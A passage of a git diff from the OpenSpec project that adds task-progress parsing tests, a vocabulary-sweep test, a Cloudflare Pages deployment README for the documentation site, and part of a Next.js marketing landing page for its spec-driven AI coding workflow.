resolveArtifactOutputs(changeDir, '**/tasks.md'); + expect(statusFiles).toHaveLength(2); + + // The helper's aggregate equals the checkbox sum over exactly those files. + let total = 0; + let completed = 0; + for (const file of statusFiles) { + const content = await fs.readFile(file, 'utf-8'); + total += (content.match(/^[-*]\s+\[[\sx]\]/gim) ?? []).length; + completed += (content.match(/^[-*]\s+\[x\]/gim) ?? []).length; + } + const progress = await getTaskProgressForChange(changesDir, 'globchange', projectRoot); + expect(progress).toEqual({ total, completed }); + }); + + it('scopes resolution to the change dir (excludes archive/ and sibling changes)', async () => { + await writeGlobSchema(); + await writeChange('target', { 'backend/tasks.md': '- [x] a\n- [ ] b\n' }); + // Decoys that must NOT be counted. + await fs.mkdir(path.join(changesDir, 'archive', 'old'), { recursive: true }); + await fs.writeFile(path.join(changesDir, 'archive', 'old', 'tasks.md'), '- [x] x\n- [x] y\n', 'utf-8'); + await writeChange('sibling', { 'backend/tasks.md': '- [x] s1\n- [x] s2\n' }); + + const progress = await getTaskProgressForChange(changesDir, 'target', projectRoot); + expect(progress).toEqual({ total: 2, completed: 1 }); + }); + + it('identifies the tracked artifact by apply.tracks even when it is not named "tasks"', async () => { + const schemaDir = path.join(projectRoot, 'openspec', 'schemas', 'custom-track'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: custom-track', + 'version: 1', + 'artifacts:', + ' - id: proposal', + ' generates: proposal.md', + ' description: Proposal', + ' template: proposal.md', + ' requires: []', + ' - id: checklist', + ' generates: "work/*.md"', + ' description: Work checklist', + ' template: tasks.md', + ' requires: [proposal]', + 'apply:', + ' requires: [checklist]', + ' tracks: "work/*.md"', + '', + ].join('\n'), + 'utf-8' + ); + await writeChange('customchange', { 'work/a.md': '- [x] a\n- [ ] b\n' }, 'custom-track'); + + const progress = await getTaskProgressForChange(changesDir, 'customchange', projectRoot); + expect(progress).toEqual({ total: 2, completed: 1 }); + }); + + it('falls back to a single top-level tasks.md when the schema cannot be resolved (no crash)', async () => { + await writeChange('badschema', { 'tasks.md': '- [x] a\n- [ ] b\n' }, 'does-not-exist'); + + const progress = await getTaskProgressForChange(changesDir, 'badschema', projectRoot); + expect(progress).toEqual({ total: 2, completed: 1 }); + }); + + it('counts a single top-level tasks.md unchanged under the default schema', async () => { + // No project-local schema, no .openspec.yaml -> default spec-driven (tracks tasks.md). + await writeChange('plain', { 'tasks.md': '- [x] a\n- [x] b\n- [ ] c\n' }, ''); + + const progress = await getTaskProgressForChange(changesDir, 'plain', projectRoot); + expect(progress).toEqual({ total: 3, completed: 2 }); + }); + + it('reports zero tasks when no file matches the tracked glob', async () => { + await writeGlobSchema(); + await writeChange('notasks', {}); // schema set, but no tasks.md anywhere + + const progress = await getTaskProgressForChange(changesDir, 'notasks', projectRoot); + expect(progress).toEqual({ total: 0, completed: 0 }); + }); + + it('counts indented sub-tasks, so a change with unfinished sub-tasks is not "Complete"', async () => { + await writeChange( + 'nested', + { + 'tasks.md': [ + '## 1. Implementation', + '- [x] 1.1 Parent task', + ' - [ ] 1.1.1 Unfinished sub-task', + ' - [x] 1.1.1.1 Deeper sub-task', + '- [x] 1.2 Second parent', + '', + ].join('\n'), + }, + '' + ); + + const progress = await getTaskProgressForChange(changesDir, 'nested', projectRoot); + expect(progress).toEqual({ total: 4, completed: 3 }); + }); +}); + +describe('parseTaskLines', () => { + it('reads bullet, checkbox state and description in document order', () => { + const tasks = parseTaskLines('- [ ] 1.1 First\n* [x] 1.2 Second\n- [X] 1.3 Third\n'); + + expect(tasks).toEqual([ + { done: false, description: '1.1 First' }, + { done: true, description: '1.2 Second' }, + { done: true, description: '1.3 Third' }, + ]); + }); + + it('includes sub-tasks at every indent depth, spaces or tabs', () => { + const tasks = parseTaskLines( + '- [x] 1.1 Parent\n - [ ] 1.1.1 Child\n - [ ] 1.1.1.1 Grandchild\n\t- [ ] 1.1.2 Tab child\n' + ); + + expect(tasks.map((task) => task.description)).toEqual([ + '1.1 Parent', + '1.1.1 Child', + '1.1.1.1 Grandchild', + '1.1.2 Tab child', + ]); + }); + + it('trims the description, including a trailing carriage return on CRLF files', () => { + const tasks = parseTaskLines('- [ ] 1.1 First \r\n - [x] 1.1.1 Child\r\n'); + + expect(tasks).toEqual([ + { done: false, description: '1.1 First' }, + { done: true, description: '1.1.1 Child' }, + ]); + }); + + it('keeps a checkbox with no description, which progress has always counted', () => { + expect(parseTaskLines('- [ ]\n- [x] \n')).toEqual([ + { done: false, description: '' }, + { done: true, description: '' }, + ]); + }); + + it('leaves non-checkbox lines, prose and headings alone', () => { + const tasks = parseTaskLines( + [ + '# Tasks', + '## 1. Group', + '- A plain bullet', + '1. A numbered item', + 'Prose about [x] brackets.', + '- [ ] 1.1 Only this one counts', + '', + ].join('\n') + ); + + expect(tasks.map((task) => task.description)).toEqual(['1.1 Only this one counts']); + }); + + describe('code fences (checkboxes inside them still count)', () => { + it('counts a checkbox inside a fence, at any indent', () => { + // Known limitation, unchanged for column-0 lines and extended to indented + // ones by allowing leading whitespace: a fenced example counts as work. + // The alternative - deciding which fences are real - loses genuine tasks + // on unbalanced input, which silently disables archive's gate. + const content = [ + '## 1. Work', + '- [ ] 1.1 Real task', + '', + 'Write tasks like this:', + '', + ' ```md', + ' - [ ] 2.1 Example task', + ' ```', + '', + ].join('\n'); + + expect(countTasksFromContent(content)).toEqual({ total: 2, completed: 0 }); + }); + + it('counts real work that follows an unterminated fence', () => { + // One stray ``` must never hide the tasks after it. + const content = ['- [x] 1.1 Done', '```bash', 'npm test', '- [ ] 2.1 Real work', ''].join( + '\n' + ); + + expect(countTasksFromContent(content)).toEqual({ total: 2, completed: 1 }); + }); + + it('counts a checklist whose file is wrapped in a single fence', () => { + const content = ['```md', '- [ ] 1.1 Task one', '- [x] 1.2 Task two', '```', ''].join('\n'); + + expect(countTasksFromContent(content)).toEqual({ total: 2, completed: 1 }); + }); + }); +}); + +describe('countTasksFromContent', () => { + it('counts every line the two previous patterns counted', () => { + // The old patterns were /^[-*]\s+\[[\sx]\]/i (progress counting) and + // /^[-*]\s*\[([ xX])\]\s*(.+)\s*$/ (apply list). Everything they matched + // must still match, so no tasks.md can report less work than before. + // `-[x]` (no space after the bullet) was matched only by the apply + // pattern; it now counts toward progress too. + const content = [ + '- [ ] 1.1 Space checkbox', + '* [x] 1.2 Star bullet, done', + '- [X] 1.3 Uppercase done', + '- [\t] 1.4 Tab inside the brackets', + '- [\u00A0] 1.5 Non-breaking space inside the brackets', + '-[x] 1.6 No space after the bullet', + '', + ].join('\n'); + + expect(countTasksFromContent(content)).toEqual({ total: 6, completed: 3 }); + }); +}); diff --git a/test/vocabulary-sweep.test.ts b/test/vocabulary-sweep.test.ts new file mode 100644 index 0000000000..ab5bf157d9 --- /dev/null +++ b/test/vocabulary-sweep.test.ts @@ -0,0 +1,91 @@ +import { describe, expect, it } from 'vitest'; +import * as fs from 'node:fs'; +import * as path from 'node:path'; +import { fileURLToPath } from 'node:url'; + +// The store rename (slice 1.4) retired the pre-rename vocabulary. This +// sweep keeps it retired: no live surface may reintroduce the old tokens. +// The openspec/ planning-history tree is outside the sweep roots by +// design; the committed format literals (.openspec-store, store.yaml) do +// not match these patterns at all. The forbidden tokens are built by +// concatenation so this file stays clean under its own sweep. +const REPO_ROOT = path.resolve(path.dirname(fileURLToPath(import.meta.url)), '..'); + +// .codex/ is git-ignored local skill guidance (roadmap L8); swept when +// present, skipped when a checkout does not carry it. +const SWEEP_ROOTS = ['src', 'test', 'docs', 'scripts', '.codex']; + +// Built by concatenation so this file never matches itself; the optional +// separator class covers the hyphen, underscore, fused, and spaced forms. +const FORBIDDEN_PATTERN = new RegExp('context' + '[-_ ]?store', 'i'); + +const TEXT_EXTENSIONS = new Set([ + '.ts', + '.js', + '.mjs', + '.cjs', + '.json', + '.md', + '.yaml', + '.yml', + '.sh', + '.txt', +]); + +function* walkFiles(dir: string): Generator<string> { + for (const entry of fs.readdirSync(dir, { withFileTypes: true })) { + const fullPath = path.join(dir, entry.name); + if (entry.isDirectory()) { + if (entry.name === 'node_modules' || entry.name === 'dist') { + continue; + } + yield* walkFiles(fullPath); + } else if (entry.isFile() && TEXT_EXTENSIONS.has(path.extname(entry.name))) { + yield fullPath; + } + } +} + +describe('vocabulary sweep', () => { + it('keeps the retired store vocabulary out of live surfaces', () => { + const offenders: string[] = []; + + for (const root of SWEEP_ROOTS) { + const rootPath = path.join(REPO_ROOT, root); + if (!fs.existsSync(rootPath)) { + continue; + } + + for (const filePath of walkFiles(rootPath)) { + const lines = fs.readFileSync(filePath, 'utf-8').split('\n'); + lines.forEach((line, index) => { + if (FORBIDDEN_PATTERN.test(line)) { + offenders.push( + `${path.relative(REPO_ROOT, filePath)}:${index + 1}: ${line.trim()}` + ); + } + }); + } + } + + expect(offenders, `retired vocabulary found:\n${offenders.join('\n')}`).toEqual([]); + }); + + it('keeps the deleted workspace/initiative token surface from regrowing', () => { + // The command-group deletion slice's ledger records exactly these + // survivors; a new (workspace|initiative)_ token in src/ must be a + // deliberate decision recorded in the ledger, not drift. + const allowed = new Set(['initiative_option_removed']); + const found = new Set<string>(); + const pattern = /(workspace|initiative)_[a-z_]+/g; + + for (const filePath of walkFiles(path.join(REPO_ROOT, 'src'))) { + const content = fs.readFileSync(filePath, 'utf-8'); + for (const match of content.matchAll(pattern)) { + found.add(match[0]); + } + } + + expect([...found].filter((token) => !allowed.has(token)).sort()).toEqual([]); + }); +}); diff --git a/vitest.setup.ts b/vitest.setup.ts index 1eea108ba1..f2f33da354 100644 --- a/vitest.setup.ts +++ b/vitest.setup.ts @@ -1,15 +1,10 @@ -import { ensureCliBuilt } from './test/helpers/run-cli.js'; +import { ensureCliBuilt, terminateActiveCliChildren } from './test/helpers/run-cli.js'; // Ensure the CLI bundle exists before tests execute export async function setup() { await ensureCliBuilt(); } -// Global teardown to ensure clean exit export async function teardown() { - // Force exit after a short grace period if the process hasn't exited cleanly. - // This handles cases where child processes or open handles keep the worker alive. - setTimeout(() => { - process.exit(0); - }, 1000).unref(); + terminateActiveCliChildren(); } diff --git a/website/.gitignore b/website/.gitignore new file mode 100644 index 0000000000..a37b1c4815 --- /dev/null +++ b/website/.gitignore @@ -0,0 +1,29 @@ +# deps +/node_modules + +# generated content +.source + +# docs pages are generated from ../docs by scripts/sync-docs.mjs (npm run build) +/content/docs + +# test & build +/coverage +/.next/ +/out/ +/build +*.tsbuildinfo + +# misc +.DS_Store +*.pem +/.pnp +.pnp.js +npm-debug.log* +yarn-debug.log* +yarn-error.log* + +# others +.env*.local +.vercel +next-env.d.ts \ No newline at end of file diff --git a/website/README.md b/website/README.md new file mode 100644 index 0000000000..52150249fd --- /dev/null +++ b/website/README.md @@ -0,0 +1,136 @@ +# OpenSpec documentation site + +The marketing and documentation site for [OpenSpec](https://github.com/Fission-AI/OpenSpec), built with [Fumadocs](https://fumadocs.dev) and [Next.js](https://nextjs.org). It is configured as a **static export**, so it deploys to Cloudflare Pages (or any static host) with no server. + +> **The doc pages are generated, not authored here.** The repository's `docs/*.md` files are the single source of truth. `scripts/sync-docs.mjs` mirrors them into `content/docs/` (as `.md`) on every build, so the site stays current automatically — locally and in CI. Edit `../docs`, not `content/docs/`. Only the marketing landing page (`app/(home)/page.tsx`) is hand-authored. See [Keeping docs in sync](#keeping-docs-in-sync). + +## Quick start + +```bash +cd website +pnpm install +pnpm run dev # http://localhost:3000 +``` + +| Script | What it does | +|--------|--------------| +| `pnpm run sync:docs` | Mirror `../docs/*.md` into `content/docs/` | +| `pnpm run dev` | Sync docs, then start the dev server with hot reload | +| `pnpm run build` | Sync docs, then produce the static site in `out/` | +| `pnpm run start` | Serve the built `out/` directory locally | +| `pnpm run types:check` | Sync docs, generate types, and run `tsc --noEmit` | + +`sync:docs` runs automatically inside `dev`, `build`, and `types:check`, so you rarely call it directly. + +## Deploy to Cloudflare Pages + +This site is a pure static export — `pnpm run build` writes plain HTML, CSS, JS, a +prebuilt search index, and `llms.txt` into `out/`. Point Cloudflare Pages at this +directory and use these settings: + +| Setting | Value | +|---------|-------| +| Root directory | `website` | +| Build command | `pnpm run build` | +| Build output directory | `out` | +| Node version | `22` | + +Set one environment variable so social/Open Graph image URLs resolve to your real +domain: + +| Variable | Example | +|----------|---------| +| `NEXT_PUBLIC_SITE_URL` | `https://openspec.dev` | + +The site itself needs no server runtime. A small routing Worker exposes the +separate Pages project at `openspec.dev/docs` while the Astro landing project +continues to own the rest of `openspec.dev`. It also routes the supporting +`/_next`, search, Open Graph, icon, and `llms` paths. Its source and Wrangler +configuration live in `cloudflare/router/`. + +Cloudflare's Free plan cannot override the Host header or DNS origin in an +Origin Rule, so the routing Worker proxies these paths to +`openspec-docs.pages.dev` instead. Deploy routing changes from `website/` with: + +```bash +npx wrangler deploy --config cloudflare/router/wrangler.jsonc +``` + +### Deploy with Wrangler (optional) + +```bash +pnpm run build +npx wrangler pages deploy out --project-name openspec-docs +``` + +## Keeping docs in sync + +The doc pages are a **mechanical mirror** of the repository's `docs/*.md`. There +is nothing to hand-edit under `content/docs/` — those files are generated and +git-ignored. + +**To change a page's content:** edit the corresponding file in `../docs`. The +next `pnpm run build`/`pnpm run dev` regenerates the site from it. + +**To add, remove, reorder, or re-slug a page, or change its sidebar section or +icon:** edit `docs.sync.config.mjs`. That manifest is the single place that +decides which docs are published and how they appear. `scripts/sync-docs.mjs` +then: + +- derives each page's title from its leading `# H1` and a description from its + first paragraph, and injects Fumadocs frontmatter (including `githubSource`, so + the "edit this page" link opens the real `docs/*.md`); +- rewrites internal `*.md` links to their on-site `/docs/...` routes; +- writes each page as `.md` (Fumadocs parses `.md` as plain Markdown, so + `<placeholders>` and `{braces}` in the docs are treated literally and never + break the build); +- regenerates `content/docs/meta.json` and `content/docs/reference/meta.json`. + +Because the docs are the source, the site cannot drift from them: every build +re-mirrors them before producing the static export. + +## Automated deploys + +The `openspec-docs` Cloudflare Pages project is connected directly to +`Fission-AI/OpenSpec`. Cloudflare rebuilds and deploys `main` when `docs/**` or +`website/**` changes, and creates preview deployments for pull requests. + +Once the site changes, that's it — a `docs/*.md` edit merged to `main` re-mirrors +and redeploys with no manual step. + +No GitHub Actions workflow, deployment secrets, or repository variables are +required for the Git-connected Pages project. Cloudflare reports production and +preview build statuses directly to GitHub. + +### Landing page + +The current [openspec.dev](https://openspec.dev) landing page remains in the +separate Astro project. The routing Worker sends only documentation-owned paths +to this Pages project, so its Fumadocs landing page at `app/(home)/page.tsx` is +built but is not served at the public root. The projects can be consolidated +later without changing the mirrored documentation workflow. + +## Project structure + +```text +website/ +├── app/ # Next.js App Router +│ ├── (home)/page.tsx # the marketing landing page +│ ├── docs/ # docs layout + catch-all page +│ ├── api/search/ # static search index route +│ ├── llms.txt / llms-full.txt / llms.mdx/ # machine-readable docs for AI +│ └── og/ # generated Open Graph images per page +├── content/docs/ # ← GENERATED from ../docs (git-ignored, do not edit) +├── docs.sync.config.mjs # which docs publish + their slug/section/icon +├── scripts/sync-docs.mjs # mirrors ../docs/*.md -> content/docs/ +├── lib/ +│ ├── shared.ts # site name, URLs, GitHub/Discord links +│ ├── source.ts # Fumadocs content source + sidebar icons +│ └── layout.shared.tsx # shared nav/header options +├── components/ # MDX components, search dialog, root provider +├── cloudflare/router/ # Worker that mounts this site on openspec.dev/docs +├── next.config.mjs # static export config +└── source.config.ts # Fumadocs MDX collection config +``` + +Built with [Fumadocs](https://fumadocs.dev). diff --git a/website/app/(home)/layout.tsx b/website/app/(home)/layout.tsx new file mode 100644 index 0000000000..77379fac3f --- /dev/null +++ b/website/app/(home)/layout.tsx @@ -0,0 +1,6 @@ +import { HomeLayout } from 'fumadocs-ui/layouts/home'; +import { baseOptions } from '@/lib/layout.shared'; + +export default function Layout({ children }: LayoutProps<'/'>) { + return <HomeLayout {...baseOptions()}>{children}</HomeLayout>; +} diff --git a/website/app/(home)/page.tsx b/website/app/(home)/page.tsx new file mode 100644 index 0000000000..60433e7ec4 --- /dev/null +++ b/website/app/(home)/page.tsx @@ -0,0 +1,651 @@ +import Link from 'next/link'; +import { + ArrowRight, + Boxes, + Check, + Clock, + Compass, + FileText, + GitBranch, + Hammer, + Archive, + Layers, + ListChecks, + Share2, + Sparkles, +} from 'lucide-react'; +import { docsRoute, links } from '@/lib/shared'; + +export default function HomePage() { + return ( + <main className="flex flex-col"> + <Hero /> + <Philosophy /> + <ToolStrip /> + <TwoFolders /> + <Anatomy /> + <FiveIdeas /> + <TheLoop /> + <Teams /> + <Why /> + <Comparison /> + <FinalCta /> + </main> + ); +} + +function Hero() { + return ( + <section className="relative overflow-hidden border-b border-fd-border"> + <div + className="absolute inset-0 -z-10" + style={{ + background: + 'radial-gradient(ellipse at top, color-mix(in oklab, var(--color-fd-primary) 9%, transparent), transparent 60%)', + }} + /> + <div className="mx-auto flex max-w-5xl flex-col items-center px-4 py-20 text-center sm:py-28"> + <span className="mb-5 inline-flex items-center gap-2 rounded-full border border-fd-border bg-fd-card px-3 py-1 text-xs font-medium text-fd-muted-foreground"> + <Sparkles className="size-3.5 text-fd-primary" /> + The lightweight spec layer for AI coding + </span> + <h1 className="max-w-3xl text-balance text-4xl font-bold tracking-tight sm:text-6xl"> + Agree first. + <br /> + Then build confidently. + </h1> + <p className="mt-6 max-w-2xl text-balance text-lg text-fd-muted-foreground"> + OpenSpec is a tiny agreement layer between you and your AI. You write + down what a change should do, the AI drafts the details, you both look + at the same plan, and <em>only then</em> does code get written. No more + discovering halfway through that it built the wrong thing. + </p> + <div className="mt-9 flex flex-col gap-3 sm:flex-row"> + <Link + href={`${docsRoute}/getting-started`} + className="inline-flex items-center justify-center gap-2 rounded-lg bg-fd-primary px-5 py-2.5 text-sm font-semibold text-fd-primary-foreground transition-opacity hover:opacity-90" + > + Get started <ArrowRight className="size-4" /> + </Link> + <Link + href={links.github} + className="inline-flex items-center justify-center gap-2 rounded-lg border border-fd-border bg-fd-card px-5 py-2.5 text-sm font-semibold transition-colors hover:bg-fd-accent" + > + <GitBranch className="size-4" /> Star on GitHub + </Link> + </div> + <Terminal /> + </div> + </section> + ); +} + +function Terminal() { + return ( + <div className="mt-14 w-full max-w-2xl text-left"> + <div className="overflow-hidden rounded-xl border border-fd-border bg-fd-card shadow-sm"> + <div className="flex items-center gap-1.5 border-b border-fd-border px-4 py-3"> + <span className="size-3 rounded-full bg-red-400/80" /> + <span className="size-3 rounded-full bg-yellow-400/80" /> + <span className="size-3 rounded-full bg-green-400/80" /> + <span className="ml-3 text-xs text-fd-muted-foreground"> + your-project — AI chat + </span> + </div> + <pre className="overflow-x-auto p-4 text-sm leading-relaxed"> + <code> + <span className="text-fd-primary">/opsx:propose</span> add-dark-mode + {'\n'} + <span className="text-fd-muted-foreground"> + {' '}✓ proposal.md — why we are doing this, what changes{'\n'} + {' '}✓ specs/ — requirements and scenarios{'\n'} + {' '}✓ design.md — technical approach{'\n'} + {' '}✓ tasks.md — implementation checklist{'\n'} + </span> + {'\n'} + <span className="text-fd-primary">/opsx:apply</span> + {'\n'} + <span className="text-fd-muted-foreground"> + {' '}✓ working through tasks, checking each one off…{'\n'} + </span> + {'\n'} + <span className="text-fd-primary">/opsx:archive</span> + {'\n'} + <span className="text-fd-muted-foreground"> + {' '}✓ specs updated · change filed away · ready for the next one + </span> + </code> + </pre> + </div> + </div> + ); +} + +const PHILOSOPHY = [ + ['fluid', 'not rigid'], + ['iterative', 'not waterfall'], + ['easy', 'not complex'], + ['brownfield', 'not just greenfield'], +]; + +function Philosophy() { + return ( + <section className="border-b border-fd-border bg-fd-card/30"> + <div className="mx-auto grid max-w-5xl grid-cols-2 gap-px px-4 py-3 sm:grid-cols-4"> + {PHILOSOPHY.map(([a, b]) => ( + <div key={a} className="px-4 py-4 text-center"> + <div className="text-lg font-semibold tracking-tight">{a}</div> + <div className="text-sm text-fd-muted-foreground">{b}</div> + </div> + ))} + </div> + </section> + ); +} + +function TwoFolders() { + return ( + <section className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight"> + The whole idea, in two folders + </h2> + <p className="mt-4 text-fd-muted-foreground"> + OpenSpec lives in one <code className="text-fd-primary">openspec/</code>{' '} + directory in your repo. Two folders inside it carry the entire mental + model. + </p> + </div> + <div className="mt-12 grid gap-6 md:grid-cols-2"> + <div className="rounded-xl border border-fd-border bg-fd-card p-6"> + <div className="mb-3 inline-flex size-10 items-center justify-center rounded-lg bg-fd-primary/10 text-fd-primary"> + <FileText className="size-5" /> + </div> + <h3 className="text-lg font-semibold"> + <code>specs/</code> — what is true + </h3> + <p className="mt-2 text-sm text-fd-muted-foreground"> + The source of truth. Plain-language requirements and scenarios that + describe how your system behaves <em>right now</em>, organized by + domain. This is the agreed-upon answer to “what does this + software do?” + </p> + </div> + <div className="rounded-xl border border-fd-border bg-fd-card p-6"> + <div className="mb-3 inline-flex size-10 items-center justify-center rounded-lg bg-fd-primary/10 text-fd-primary"> + <GitBranch className="size-5" /> + </div> + <h3 className="text-lg font-semibold"> + <code>changes/</code> — what you are proposing + </h3> + <p className="mt-2 text-sm text-fd-muted-foreground"> + One folder per change. Each holds a proposal, a design, a task list, + and a small spec delta. When the work is done, you archive it and the + delta folds into the truth. The cycle closes. + </p> + </div> + </div> + </section> + ); +} + +const IDEAS = [ + { + icon: FileText, + title: 'Specs are the truth', + body: 'Requirements and scenarios describe how your system behaves today. One agreed-upon answer, in your repo, readable by humans and AI alike.', + }, + { + icon: GitBranch, + title: 'A change is one unit of work', + body: 'One feature, one folder. Proposal, design, tasks, and spec edits all live together. Easy to review, easy to reason about.', + }, + { + icon: Layers, + title: 'Deltas, not rewrites', + body: 'You describe what is changing — ADDED, MODIFIED, REMOVED — not the whole world. That is the trick that makes OpenSpec great at brownfield code.', + }, + { + icon: Compass, + title: 'Enablers, not gates', + body: 'Artifacts build on each other in a natural order, but nothing locks. Learn something mid-build? Edit the plan and keep going.', + }, +]; + +function FiveIdeas() { + return ( + <section className="border-y border-fd-border bg-fd-card/30"> + <div className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight"> + Learn four ideas, and the rest is detail + </h2> + <p className="mt-4 text-fd-muted-foreground"> + Everything in OpenSpec is built from a handful of simple concepts. + </p> + </div> + <div className="mt-12 grid gap-6 sm:grid-cols-2"> + {IDEAS.map(({ icon: Icon, title, body }) => ( + <div + key={title} + className="rounded-xl border border-fd-border bg-fd-card p-6" + > + <Icon className="size-5 text-fd-primary" /> + <h3 className="mt-3 font-semibold">{title}</h3> + <p className="mt-2 text-sm text-fd-muted-foreground">{body}</p> + </div> + ))} + </div> + </div> + </section> + ); +} + +const STEPS = [ + { + icon: Compass, + cmd: '/opsx:explore', + label: 'optional', + body: 'A no-stakes thinking partner. It reads your code, weighs options, and turns a fuzzy idea into a concrete plan.', + }, + { + icon: FileText, + cmd: '/opsx:propose', + body: 'The AI drafts the proposal, spec deltas, design, and a task list. You read it and adjust before any code is written.', + }, + { + icon: Hammer, + cmd: '/opsx:apply', + body: 'The AI builds it, working through the tasks and checking each one off as it goes.', + }, + { + icon: Archive, + cmd: '/opsx:archive', + body: 'Spec deltas merge into the truth and the change is filed away with a date stamp. Ready for the next one.', + }, +]; + +function TheLoop() { + return ( + <section className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight">The loop you run</h2> + <p className="mt-4 text-fd-muted-foreground"> + Two terminal commands to set up. After that, you live in your AI chat. + </p> + </div> + <ol className="mt-12 grid gap-4 md:grid-cols-4"> + {STEPS.map(({ icon: Icon, cmd, label, body }, i) => ( + <li + key={cmd} + className="relative rounded-xl border border-fd-border bg-fd-card p-5" + > + <div className="flex items-center justify-between"> + <Icon className="size-5 text-fd-primary" /> + <span className="text-xs font-medium text-fd-muted-foreground"> + {label ?? `step ${i + 1}`} + </span> + </div> + <code className="mt-3 block text-sm font-semibold text-fd-primary"> + {cmd} + </code> + <p className="mt-2 text-sm text-fd-muted-foreground">{body}</p> + </li> + ))} + </ol> + </section> + ); +} + +function Why() { + return ( + <section className="border-y border-fd-border bg-fd-card/30"> + <div className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight"> + Why bother with the extra step? + </h2> + <p className="mt-4 text-fd-muted-foreground"> + OpenSpec adds one small step — a short plan before building. Here is + what you get for it. + </p> + </div> + <div className="mx-auto mt-12 grid max-w-3xl gap-5 sm:grid-cols-2"> + {[ + [ + 'Catch wrong turns early', + 'Fixing a misunderstanding in a one-paragraph proposal is free. Fixing it after 400 lines of code is not.', + ], + [ + 'The plan lives with the code', + 'Six months later, the spec tells you and the next AI session why the system works the way it does.', + ], + [ + 'Changes are reviewable', + 'A change folder is a tidy package: read the proposal, skim the deltas, check the tasks. No chat archaeology.', + ], + [ + 'It fits existing codebases', + 'Deltas mean you can specify a change to a 50,000-line app without first documenting the whole thing.', + ], + ].map(([title, body]) => ( + <div key={title} className="flex gap-3"> + <ArrowRight className="mt-1 size-4 shrink-0 text-fd-primary" /> + <div> + <div className="font-semibold">{title}</div> + <p className="mt-1 text-sm text-fd-muted-foreground">{body}</p> + </div> + </div> + ))} + </div> + </div> + </section> + ); +} + +const TEAM_SCENARIOS = [ + { + icon: Share2, + title: 'Cross-repo features', + body: 'One change, one plan — even when the code lands in the API server, the web app, and a shared library. No more "whose openspec/ folder does this live in?"', + }, + { + icon: Boxes, + title: 'Shared requirements', + body: 'A platform team owns the specs; product teams reference them read-only, right where their coding agent can read them. No more drifting wiki.', + }, + { + icon: Clock, + title: 'Plan before code', + body: 'Capture the plan in the store now, while it is just an idea. The code repos catch up later — the thinking is already recorded and reviewed.', + }, +]; + +function Teams() { + return ( + <section className="border-y border-fd-border bg-fd-primary/5"> + <div className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <p className="text-sm font-medium uppercase tracking-wide text-fd-primary"> + For teams + </p> + <h2 className="mt-2 text-3xl font-bold tracking-tight sm:text-4xl"> + Why teams adopt OpenSpec + </h2> + <p className="mt-4 text-fd-muted-foreground"> + Solo, OpenSpec keeps you and your AI honest on one repo. On a team, + the hard part moves: work spans repos, requirements cross team lines, + and planning starts before code exists. OpenSpec{' '} + <Link href={`${docsRoute}/stores`} className="font-medium text-fd-primary underline"> + stores + </Link>{' '} + put planning in a repo of its own — one source of truth your whole + team and every coding agent can read, shared by{' '} + <code>git push</code> like anything else. + </p> + </div> + <div className="mt-12 grid gap-5 md:grid-cols-3"> + {TEAM_SCENARIOS.map(({ icon: Icon, title, body }) => ( + <div + key={title} + className="rounded-xl border border-fd-border bg-fd-card p-6" + > + <div className="mb-3 inline-flex size-10 items-center justify-center rounded-lg bg-fd-primary/10 text-fd-primary"> + <Icon className="size-5" /> + </div> + <h3 className="font-semibold">{title}</h3> + <p className="mt-2 text-sm text-fd-muted-foreground">{body}</p> + </div> + ))} + </div> + <div className="mt-10 text-center"> + <Link + href={`${docsRoute}/stores`} + className="inline-flex items-center justify-center gap-2 rounded-lg bg-fd-primary px-5 py-2.5 text-sm font-semibold text-fd-primary-foreground transition-opacity hover:opacity-90" + > + Explore stores <ArrowRight className="size-4" /> + </Link> + <span className="ml-3 rounded-full border border-fd-border bg-fd-card px-2.5 py-1 text-xs font-medium text-fd-muted-foreground"> + Beta + </span> + </div> + </div> + </section> + ); +} + +const TOOLS = [ + 'Claude Code', + 'Cursor', + 'Codex', + 'Devin Desktop', + 'Gemini CLI', + 'GitHub Copilot', + 'Cline', + 'Zoo Code', + 'Kilo Code', + 'Amazon Q', + 'OpenCode', + 'Qwen Code', + 'Kiro', + 'Continue', + 'Factory Droid', +]; + +function ToolStrip() { + return ( + <section className="mx-auto max-w-5xl px-4 py-16 text-center"> + <p className="text-sm font-medium uppercase tracking-wide text-fd-muted-foreground"> + Works with the tools you already use + </p> + <div className="mt-6 flex flex-wrap items-center justify-center gap-2.5"> + {TOOLS.map((t) => ( + <span + key={t} + className="rounded-full border border-fd-border bg-fd-card px-3.5 py-1.5 text-sm text-fd-foreground/80" + > + {t} + </span> + ))} + <span className="rounded-full px-3.5 py-1.5 text-sm font-medium text-fd-primary"> + + 15 more + </span> + </div> + </section> + ); +} + +const ARTIFACTS = [ + { + icon: FileText, + file: 'proposal.md', + caption: 'The why and what', + code: `# Proposal: Add Dark Mode + +## Intent +Reduce eye strain at night and +match the user's system theme. + +## Scope +- Theme toggle in settings +- System-preference detection +- Persist the choice`, + }, + { + icon: Layers, + file: 'specs/ui/spec.md', + caption: 'The delta — what changes', + code: `# Delta for UI + +## ADDED Requirements + +### Requirement: Theme Selection +The system SHALL let users choose +light or dark. + +#### Scenario: Manual toggle +- WHEN the toggle is clicked +- THEN the theme switches at once`, + }, + { + icon: ListChecks, + file: 'tasks.md', + caption: 'The checklist', + code: `# Tasks + +## 1. Theme Infrastructure +- [ ] 1.1 ThemeContext + state +- [ ] 1.2 CSS custom properties +- [ ] 1.3 localStorage persistence + +## 2. UI +- [ ] 2.1 ThemeToggle component`, + }, +]; + +function Anatomy() { + return ( + <section className="mx-auto max-w-5xl px-4 py-20"> + <div className="mx-auto max-w-2xl text-center"> + <h2 className="text-3xl font-bold tracking-tight"> + What a change actually looks like + </h2> + <p className="mt-4 text-fd-muted-foreground"> + Plain Markdown files your AI drafts and you review. No new formats to + learn, nothing you cannot read at a glance. + </p> + </div> + <div className="mt-12 grid gap-5 md:grid-cols-3"> + {ARTIFACTS.map(({ icon: Icon, file, caption, code }) => ( + <div + key={file} + 